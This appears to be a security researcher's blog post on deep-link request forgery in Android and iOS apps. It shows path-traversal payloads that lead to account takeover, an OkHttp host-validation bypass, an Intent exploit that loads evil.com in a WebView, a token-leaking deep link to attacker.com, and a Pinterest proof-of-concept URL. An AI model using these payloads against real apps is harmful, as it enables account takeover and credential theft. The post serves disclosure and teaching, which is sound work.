Exploiting Request forgery on Mobile Applications.

Sayed Abdelhafiz
6 min readOct 18, 2021

--

init();

In Web Application pentesting, their common attack surface had common vulnerabilities. Mobile Applications don’t differ much, I have deduced a vulnerability present in most of the mobile applications that I have tested before, whether they are small or popular. exploitation might depend on server-side issues, client-side issues, or maybe both!

Request Forgery

CSRF or SSRF is the most popular web vulnerabilities, both depending on the same concept. Forgery a part of an authenticated request to perform an unwanted action or access sensitive data. In the mobile application, the same vulnerability class exists. There might be some differences from a web application, but it leads to the same thing. It came from the most common attack surface in a mobile application, which is deep links.

Deeplinks is evil. No, Not WebView again.

Deeplinks is now one of the important components of a mobile application. You always want to make it easy for your users to navigate your application components to view specific content. It easy! Implantation of deep links is easy! But parsing the received parameters from it is not easy.

Let us imagine that there is a deep link that helps the users to navigate to profile activity, its URI, e.g.: example://app/users?username=dphoeniixx

It’s simple, the application will try to match the deep link path to get target activity, or its configure then parse the inputs to pass it to the next stage. The above case will retrieve username parameter value from the deep link then pass it to the profile activity.

Profile Activity will send a request to the server to retrieve the user’s profile. Some APIs use parameters only for their inputs; some may use parameter and path segments. let’s imagine the following: https://api.example.com/v1/users/{username} is the endpoint that the application will send a request to it to retrieve the user’s profile

Here is the problem come, in this case, the attacker can forgery the request path using path traversal, e.g.: example://app/users?username=../../unwanted-endpoint%3fparam=value will request -> https://api.example.com/unwated-endpoint?param=value

Some deep links don’t parse their inputs from parameters, maybe path segments! e.g. : example://app/users/dphoeniixx. It’s still vulnerable; the attacker can encode the path traversal payload like that: example://app/users/..%2f..%2funwanted-endpoint%3fparam=value, don’t worry about the encoded input, Uri.getPathSegments Method will decode every path segment:

while ((current = path.indexOf('/', previous)) > -1) {
// This check keeps us from adding a segment if the path starts
// '/' and an empty segment for "//".
if (previous < current) {
String decodedSegment
= decode(path.substring(previous, current));
segmentBuilder.add(decodedSegment);
}
previous = current + 1;
}

Sometimes developers don’t use getPathSegments method to retrieve the URI’s path segments, but anyway, almost all web-server will decode the path and redirect to the canonicalized path, e.g.:
GET /v1/users/..%2f..%2funwated-endpoint%3fparam=value HTTP/1.1 -> HTTP/1.1 302..\nLocation: /unwanted-endpoint?param=value

What after forgery Path?

The above example is difficult to exploit. It requires chaining with an open redirect or something. I will skip it now to start from easy exploits.

Some deep links lead to sending a forgery request path by POST, PUT or DELETE method. It is common on coupons, invites, promocodes, etc...

We can exploit it and forgery the request path to any endpoint that can do harmful things to the user, e.g.: example://app/promo?code=../users/me%3femail=attacker@gmail.com -> POST /v1/users/me?email=attacker@gmail.com (Account Takeover)

Please notice most of the time. You can put the POST body on the query string:

POST /change HTTP/1.1
....

password=123456

Same as

POST /change?password=123456 HTTP/1.1
....

GET Requests? Anyway to exploit?

GET Requests are some difficulties. You need to exploit a vulnerability or a feature! Some APIs like graph Facebook have a feature to override the request method by a parameter. In graph Facebook API, you can override the method by the method parameter! Maybe method, _method, action, _action, etc.. in other APIs, If you were lucky, you maybe find it! Some other APIs perform some evil actions by GET, which makes exploiting GET Requests the same as POST requests.

If you weren’t lucky in the above exploitation, we need something also. Maybe 302 Open redirects or a controlled response.

What do I mean by the controlled response? Let’s imagine an upload function, and we can retrieve the file content by an endpoint. If we forgeries path to that endpoint, we will be able to manipulate the activity data. In this case, we have various chances to perform evil things.

The following response is an endpoint response:

{
"username":"dphoeniixx",
"about": "<h1>Hello on my profile</h1>", // XSS?
"resumes_uri": "/resumes/dphoeniixx-id" // another Request forgery!
"something_will_be_downloaded": "https://examples.com/files/resumes(.zip|cvs)" // overwrite files!
}

Manipulate about property can lead to XSS attacks.

resumes_uri is a relative URI. If we manipulate it with an absolute URI like https://attacker.com/, It will send an authenticated request to the attacker host and leak the access token

something_will_be_downloaded URI will be downloaded to the victim device, it may be a zip file that will be extracted, by exploiting Zip Slip we will be able to overwrite native libraries which leads to code execution, if not zip, or it won’t be extracted we still can overwrite files by manipulating filename with path traversal. Most applications identify filenames by content-disposition header or last path segment! Take a look at My TikTok RCE

Many chances here need your mind. Actually, you need to blow your mind.

No controlled endpoint response? Open redirect is very helpful!

If you weren’t able to find a controlled endpoint response, you could exploit open redirect to achieve it, but the open redirect is more helpful in some cases.

Developers don’t implant host validation on the Authenticator, which makes OkHttpClient send authenticated request to any URI it requests, simply if you redirect the request to your host. OkHttpClient will leak the authentication information to you!

Easy right? Some developers implant the validation. In this case, it requires manual testing of the validation method. Some developers validate the host like that:

protected Authenticator getBasicAuth(final String username, final String password) {
return new Authenticator() {
@Override
public Request authenticate(Proxy proxy, Response response) throws IOException {
String credential = Credentials.basic(username, password);
if(response.request().url().host().contains("www.whitelist.com")){
return response.request().newBuilder().header("Authorization", credential).build();
}else{
return response.request();
}
}
@Override
public Request authenticateProxy(Proxy proxy, Response response) throws IOException {
return null;
}
};
}

What an easy bypass: https://www.whitelist.com.attacker.com It actually happened!

We didn’t finish here!

Let’s look at this deep link: example://app/dphoeniixx/videos

Videos activity can invoke by the following deep link regex /.*/videos. After that, It passes the path to OkHttpClient without any more validation. As it a relative path, OkHttpClient will concatenation to the BASE_URL, which is API_HOST, and request it! In fact, absolute URI doesn’t require a scheme segment, e.g.: //attacker.com/videos is an absolute URL! OkHttpClient won’t concatenation it to BASE_URL because it has the hostname!

example://app//attacker.com/videos sends an authentication to https://attacker.com/videos, user token leaked!!

Special Cases

Oh, It’s WebView again, Sorry.

Let’s see the vulnerable example before begging:

<activity android:exported="true" android:name="com.example.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="https"/>
<data android:host="whitelist.com"/>
</intent-filter>
</activity>
protected void onCreate(Bundle bun) {
super.onCreate(bun);
webView.loadUrl(getIntent.getData().toString);
}

We need to load our evil URL on the web view. The developer depends on the Android Intent filter to validate the hostname. It seems a hard host validation. In fact, we won’t go through it anyway! as the activity is exported=true, We can pass any URL to that activity! the URL won’t go through the intent filter validation!

Exploit:

Intent evil = new Intent(Intent.ACTION_MAIN);
evil.setData(Uri.parse("https://evil.com/"));
evil.setComponent(new ComponentName("com.example", "com.example.MainActivity"));
startActivity(evil);

Notice: Main Activity doesn’t need to be exported! Its intent-filter is enough to do your work!

1st case study

Pinterest was vulnerable! When the Pinterest application (iOS/Android) start processing the deep-link it checks for invite_code parameter if exists, If It exists it sends a POST request to /invite_code/[VALUE_OF_INVITE_CODE_PARAMETER]/redeem/, what an easy exploit!
I was able to exploit it and send a forged request to update the email endpoint, then the full account took over!
PoC: https://www.pinterest.com/pin/435371488958112420/sent/?invite_code=..%2Fusers%2Fsettings%2F%3Femail%3Dexample25423523624%40example.com%23&sender=435371626385685658
Test it by yourself on Pinterest 7.4.0

In Final

Follow this story, I will add a cases study in the future when the vendors allow me the disclosure you will love it ;).

--

--

Responses (1)